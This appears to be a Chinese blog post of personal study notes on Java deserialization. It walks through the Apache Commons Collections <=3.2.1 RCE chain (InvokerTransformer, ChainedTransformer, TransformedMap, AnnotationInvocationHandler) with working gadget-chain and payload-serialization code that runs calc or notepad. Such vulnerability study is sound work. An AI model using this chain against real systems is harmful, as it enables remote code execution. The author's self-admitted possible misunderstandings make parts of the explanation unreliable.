没真正学过java,对很多概念理解的不清晰。所以下面所有都是参考资料结合我自己的理解,可能存在错误。
1、为什么要序列化?
因为只有字节数据才能进行存储和传输,所以为了使对象(如class类)能够存储、传输,就需要将对象转成字节的形式
存储:把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;或者不需要的时候就序列化对象后的数据存入磁盘,需要的时候就反序列还原对象进行调用,如cookie
传输:在网络上传送对象的字节序列,当A想要用B的对象时,那么需要将A对象进行序列化传输给B,B接收之后进行反序列化还原调用,
2、如何序列化和反序列化?
要求:Externalizable接口继承自Serializable接口,只有实现了Serializable和Externalizable接口类的对象才能被序列化,否则抛出异常,如:
class MyObject implements Serializable{}
对象MyObject实现了Serializable接口,可以序列化
序列化:调用ObjectOutputStream类的writeObject方法进行序列化,将对象转成字节,如:
String myObj = "imz";
//打开一个存储序列化数据的文件obj
FileOutputStream fos = new FileOutputStream("object");
//实例ObjectOutputStream对象,并包装一个文件输入流fos,使对象序列化之后存入object文件
ObjectOutputStream os = new ObjectOutputStream(fos);
//将myObj对象序列化,并写入object文件
os.writeObject(myObj);
os.close();
序列化后的数据,存储在object文件中
反序列化:调用ObjectInputStream类的readObject方法,将一串序列化数据通过反序列化还原
//读取object文件中的序列化数据
FileInputStream fis = new FileInputStream("object");
//实例化ObjectInputStream,并传入object中的序列化数据
ObjectInputStream ois = new ObjectInputStream(fis);
//调用readObject方法,将传入的序列化数据进行反序列化还原
Object flag = ois.readObject();
//打印还原之后的对象
System.out.println(flag);
ois.close();
执行之后,打印出原对象,说明反序列化成功
3、序列化数据的特征
java序列化数据16进制:
前两个字节总是以ac ed开头
之后的两个字节是版本号,一般情况是00 05
如果经过base64编码,则开头总是:rO0AB
base64编码后:
在测试过程中,可以通过观察这个序列来确定是java序列化的数据
4、为什么会产生反序列化漏洞
(1)初步理解反序列化漏洞产生 ——— 案例1
① 当程序需要接收来自外部的对象时,该对象时经过序列化处理的,那么接收之后就需要进行反序列化处理
② 当进行反序列化时就会调用ObjectInputStream类的readObject方法
③ 由于当一个类的方法被重写时,就会优先调用重写后的方法
④ 如果传入的序列化数据重写了readObject方法,并且重写之后的方法包含恶意的操作,那么就会执行方法里面的代码,构成恶意攻击
注意:这只是其中的一个案例,类似于PHP反序列化的魔术方法触发。漏洞的危害程度由漏洞自身而定,如远程代码执行
import java.io.*;
class test{
public static void main(String[] args) throws Exception{
//定义myObj对象,该对象重新了readObject方法,并调用系统命令打开记事本
MyObject myObj = new MyObject();
//序列化myObj对象,并写入object文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(myObj);
os.close();
//从object文件中读取数据,并反序列化还原myObj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//由于myObj对象重写了readObject方法,所以在调用该方法反序列化时,就触发了myObj对象里面的readObject方法,所以执行了exec命令
ois.readObject();
ois.close();
}
}
class MyObject implements Serializable{
public String flag;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream flag) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
flag.defaultReadObject();
//执行打开计算器程序命令
System.out.println("imz");
Runtime.getRuntime().exec("notepad.exe");
}
}
成功执行Myobject对象的readObject方法里面的代码
(2)进一步理解反序列化漏洞产生 —— 案例2
漏洞复现:commons-collections反序列化漏洞-----引起远程代码执行
影响版本: <=3.2.1
复现环境搭建:
(1)官方下载3.2.2版本:https://commons.apache.org/proper/commons-collections/download_collections.cgi
(2)导入项目,参考:
https://blog.csdn.net/yang1234567898/article/details/122260092
漏洞由来:
参考官方的安全报告:Apache Commons Collections 库在“functor”包中包含各种可序列化和使用反射的类,这可以通过将特制对象注入到从不受信任的来源反序列化 java 对象并在其类路径中具有 Apache Commons Collections 库并且不执行任何类型的输入验证的应用程序来进行远程代码执行攻击。
也就是说漏洞产生于functor包,攻击者可以构造恶意的序列化java对象,通过反序列化注入接口使程序进行远程代码执行。
注意:由于官方在3.2.2版本对该漏洞进行了修复,加入了反序列化安全检测的方法,检测系统属性“org.apache.commons.collections.enableUnsafeSerialization”,默认为false,位于:org.apache.commons.collections.functors.FunctorUtils类中的checkUnsafeSerialization方法
默认情况下要修改系统属性org.apache.commons.collections.enableUnsafeSerialization为true,否则将会抛出异常
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
漏洞原理分析:
1、分析思路
(1)首先,找java反序列化漏洞肯定不是闲着没事做,而是为了执行命令从靶机中获取想要的东西,而要想执行命令就需要找到一个类(相当于PHP中的魔法方法),就叫魔法类吧,该类的三个要求
① 该类是可序列化的,也就是实现了Serializable或Externalizable接口,因为只有实现了该接口才可被序列化
② 该类中存在可控变量,因为变量可控才可传入任意构造的特殊值
③通过传入特殊构造的值,能够实现执行远程代码,如Runtinme.getRuntiem().exec()
刚好在commons-collections包中,就有一个InvokerTransformer类,实现了Serializable接口和Transformer接口(符合要求①),它通过java的反射机制进行传值,最终会调用执行传入的任意方法(符合要求②),最后通过传入构造的值,能够触发Runtinme.getRuntiem().exec()执行系统命令(符合要求③)
位于:org.apache.commons.collections.functors.InvokerTransformer,代码如下:
//InvokerTransformer类的构造方法,java中,类的构造方法的名字必须与定义他的类名完全相同
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//获取input的对象为cls
Class cls = input.getClass();
//getMethod获取cls对象的所有方法method
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//调用input对象中获取到的所有方法method,iArgs为对应方法的参数,并将该方法名作为对象返回
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
InvokerTransformer类的构造方法,传入了三个参数,并且是可控的
分别是:
String methodName //方法名
Class[] paramTypes //顺序获取到的方法形参类型
Object[] args //所有参数
然后重写了Transformer接口的transform方法:其中:
//input.getClass() 返回class类型的对象,其中的class是广泛的含义
可以是int、string、class...如:
input ===> String imz;返回的是String类型的imz对象
input ===> Class imz;返回的是Class类型的imz对象
//Method Class.getMethod()的作用是获得对象所声明的公开方法,
第一个参数是方法名
第二个参数是按声明顺序标识该方法的形参类型
//method.invoke(class,args)就是调用Method类代表的方法
执行class对象的所有public方法method并将结果作为对象返回,args为对应方法的参数
核心原理:
1、实现实例化对象时通过构造函数传入方法名、方法形参类型、方法参数值
如 InvokerTransformer it = new InvokerTransformer("getFlag", new Class[] { String.class, Class[].class },new Object[] {"imz",new Object[0]})
方法名为getFlag、有一个参数imz、该参数类型是String
其中传入参数的含义:
new Class[] { String.class, Class[].class } 创建一个Class类型的数组,并将String.class赋值给Class[0].class
Object[] b=new Object[]{new String[0]} 创建一个Object类型的数组,并将new String[0]作为初始值赋给Object[0]
2、重写了Transformer接口的transform方法,通过transform方法获取input类中的方法
首先,传入一个对象input,并通过getMethod获取该对象的public方法,方法名为构造函数传入的this.methodName和参数类型this.iParamTypes,然后利用invoke反射调用获取到的方法,参数也为传入的参数this.iArgs
举个例子:
public class Test {
public static void main(String[] args){
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
可以看到,执行以上代码,调用exec打开了计算器,那又是为什么?
简单理解,
(1)通过new一个InvokerTransformer对象并传入一个exec方法,参数是calc.exe,参数类型是String
(2)调用transform方法,传入的是Runtime.getRuntime()对象,transform就会通过Runtime.getRuntime()执行exec方法
也就是最后执行了Runtime.getRuntime().exec("calc.exe")
碰壁路程:
分析到这里,我遇到了一个不是问题的问题,就是将实例化一个InvokerTransformer类并直接写入到第一个案例中的MyObject类中,然后将MyObject类实例再进行序列化,最后反序列化不也可以触发代码执行吗?答案是肯定的,但显然这是一个误区-----而且是大误区
package unserialize;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
class test{
public static void main(String[] args) throws Exception{
//定义myObj对象,该对象重新了readObject方法,并调用系统命令打开记事本
MyObject myObj = new MyObject();
//序列化myObj对象
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}
class MyObject implements Serializable{
public String flag;
//重写readObject()方法
private void readObject(ObjectInputStream flag) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
flag.defaultReadObject();
//执行打开计算器程序命令
System.out.println("imz");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
再然后我又在想,这是不是有点多此一举了,为啥要去利用InvokerTransformer类去触发呢?为什么不直接调用Runtime.getRuntime().exec("calc"),难道那些大佬都喜欢复杂吗?或者安全狗会过滤readObject?
终于,我想通了!!!
首先,案例1能够触发的条件是:
① 目标程序有一个MyObject类,并且该类实现了serializable接口
② 其次,重写了readObject方法,类中调用了Runtime.getRuntime.exec(cmd)
③ 最后,cmd变量可控
只有这样,攻击者才能通过实例一个MyObject方法,传入cmd,最后经过靶机的反序列化接收接口进行序列化数据注入,实现任意代码执行。否则,谁能知道你的MyObject是啥玩意,cmd又是啥玩意
这时候就豁然开朗了,也就是说,找到了InvokerTransformer类,条件仍然欠缺,因为在下面的代码中,实例了一个Runtime.getRuntime()对象,但是没有实现serializable接口的,也就是不能被序列化,这里也碰了下壁,查看了大佬的文章才注意到
参考:https://www.zhihu.com/tardis/sogou/art/389252470
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());
(2)找到了魔法类InvokerTransformer,但如上所说,由于Runtime没有实现serializable接口,不能被序列化,所以不能够序列化,所以就需要构造一个能够被序列化的Runtime,可利用下面的代码实现
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"}) };
Transformer transformedChain = new ChainedTransformer(transformers);
先了解一下所涉及到的类,再分析为什么要这样做
Transformer接口,可以看到该接口使调用了InvokerTransformer类的transform方法,而由于InvokerTransformer类实现了serializable接口,所以可以被序列化
ConstantTransformer类,也是实现了serializable接口,可以被序列化
ChainedTransformer类,同样实现了serializable接口,所以都是可被序列化的,也就是说,采用这些类去生成的Runtime.getRuntime().exec("cmd")是可以被序列化的
以上接口和类的作用说明:
Transformer 因为该接口调用了InvokerTransformer类的transform方法,所以是通过反射机制生成并返回一个对象
ConstantTransformer 把一个对象转化为常量,并返回。
如ConstantTransformer(Runtime.class) 创建一个Runtime实例并返回
InvokerTransformer
ChainedTransformer 为链式的Transformer,会挨个执行我们定义Transformer的transform方法
下面是ChainedTransformer类的成员方法transform,可以看到,会逐个调用Transformers[i].transform方法,最终生成一个对象并返回
分析生成可序列化的Runtime.getRuntime().exec("cmd")对象的代码:
首先,创建每个transformer实例,共4个transformer并将所有实例存入transformers[]数组中
然后就是最重要的一步,创建一个链式ChainedTransformer实例,用于链式调用transformers[]数组中所有的transformer:
Transformer transformer = new ChainedTransformer(transformers);
什么是链式调用?
参考:https://blog.csdn.net/dajian35/article/details/68957670/
用通俗的话讲,我的理解是,举个例子:
当需要购买生活用品(包括牙膏、牙刷、洗发水、沐浴露.....)
非链式调用:先去商店买了牙膏带回去,然后再继续回去商店购买其他生活用品
链式调用:去了商店一次性购买所以需要的东西,装在同一个袋子里再一起带回去,降低了复杂度
而在程序中,链式调用的好处就是降低了代码的复杂度,提高了执行效率,用点将它们连在一起,这个点就相当于装所有生活用品的一个袋子
当链式调用transformers[i]时:
第一步:transfromers[1]返回Runtime,相当于Runtime.getClass()
第二步:transfromers[2]返回get.Methon(getRuntime(),String)
第三步:transfromers[3]返回invoke(null,null)
第四步:transfromers[4]返回exec("cmd")
最终将它们装在一起:Runtime.get.Methon(getRuntime(),String).invoke(null,null).exec("cmd")
这就跟魔术类InvokerTransformer的transform实现方法一样,将Runtime作为input,通过反射机制执行了exec方法,将之拆分便于理解:
Class rt = Runtime.getClass();
Method method = rt.getMethod(getRuntime(),String)
method.invoke(Runtime,"exec('cmd')")
所以最终又回到了InvokerTransformer的原理上
(3)接下来就是考虑如何触发执行cmd命令了,因为到这只是创建了链式调用实例transformedChain,还需要找到如何触发transformedChain
Map类:类似于python的字典,是以键值对的形式存储的
Map<String, Object> ===> 代表这是一个键key为String类型,值value是对象Object
在common-collections中,有个实现了Serialiazble的TransformedMap类,其中有个方法decorate,用于封装Transformer
decorate(Map map, Transformer keyTransformer, Transformer valueTransformer);
decorate方法是将Transformer类型的键值封装到一个Map中,上一步创建的transformedChain实例刚好就是Transformer类型。所以它可以接收transformedChain实例。
也就是:
//将transformedChain封装到map中
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
封装过程调用了一下三个方法:
可以看到,最终调用了transform方法封装transformedChain实例,从未离开过的transform,之前已经分析了它会导致自动执行任意函数,所以只要触发transformValue方法就可以使transformedChain也被触发。只要改变TransformedMap封装的值就可以触发该方法。
引用一下 https://www.cnblogs.com/ssooking/p/5875215.html 总结的知识点
Map是java中的接口,Map.Entry是Map的一个内部接口。
Map提供了一些常用方法,如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合; entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。
Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。 接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改
所以可以利用MapEntry的setValue()函数对TransformedMap中的键值进行修改,就可以触发transformedChain实例了。
测试:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class collection_deserialization {
public static void main(String[] args) {
//构建链式调用的数组transformers[]
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, null }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"notepad"}) };
//创建链式调用实例transformerChain
Transformer transformedChain = new ChainedTransformer(transformers);
//创建用于封装transformerChain的map
Map<String, Object> map = new HashMap<String, Object>();
map.put("key", "value");
//将transformerChain封装到map的值value中
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformedChain);
//获取transformedMap的所有键值对
for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
System.out.println(entry);
//对transformedMap的value进行替换,触发transformedChain
entry.setValue("imz");
System.out.println(entry);
}
}
}
(4)通过利用setValue()修改Map键值就可以触发transformedChain,所以现在还需要找到一个类重写了readObject方法,并且调用setValue()对Map的键值进行替换。
漏洞原理流程图:
想要让靶机优先调用重写之后的readObject,就需要在payload中实例化一个类,其中该类需满足以下几点:
① 重写了readObject方法
② readObject调用了setvalue方法修改Map的键值
③ 并且这个Map变量是可控的
AnnotationInvocationHandler类刚好满足:这个类是jdk自带的(网上说版本需要小于1.7),我试了官方下载的1.6-1.8都不成功,应该是修复了
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformedChain);
//forName获取对象名,同getClass(),用forName是因为该方法实现了serializable接口,而getClass未实现
Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//Class类的getConstructor()方法,无论是否设置setAccessible(),都不可获取到类的私有构造器.
//Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器),但在使用private的构造器时,必须设置setAccessible()为true,才可以获取并操作该Constructor对象。
//所以,以后在用反射创建一个私有化构造器类的对象时,务必要用getDeclaredConstructor()方法并设置构造器可访问setAccessible(true)
Constructor ctr = aih.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);
/*newInstance创建实例对象,
同new的区别:
newInstance: 方法。只能调用无参构造。
new: 关键字,能调用任何public构造。*/
Object instance = ctr.newInstance(Target.class, transformedMap );
//序列化最终payload
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("object"));
out.writeObject(instance);
就这样,这玩意没java开发经验是真的废时间,查资料都搞了3天